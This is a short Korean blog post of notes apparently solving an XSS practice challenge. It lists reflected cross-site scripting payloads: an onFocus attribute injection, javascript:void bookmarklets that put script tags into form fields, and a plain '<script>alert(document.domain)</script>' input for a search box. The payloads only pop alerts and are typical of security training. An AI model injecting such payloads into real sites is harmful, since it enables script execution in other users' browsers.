osiris's blog

" onFocus=alert(document.domain) maxlength="100

[#]onFocus는 현재 객체에 Focus 가 왔을 때 호출된다.

javascript:void(document.forms[0].p1.value='"><script>alert(document.domain)</script>');

javascript:void(document.forms[0].p3.value='"><script>alert(document.domain)</script>');

javascript:void(document.forms[0].p2.childNodes[1].innerText='<script>alert(document.domain)</script>');

"><script>alert(document.domain);</script>

1번 문제에서 우리가 해야되는건 alert(document.domain); 을 javascript 를 사용해서 삽입하면 되는거다.
xss의 기본공식(?) <script>alert('xss');</script> 를 기억하는가?
textbox에 <script>alert(document.domain);</script> 를 입력하고 search 버튼을 눌러보자.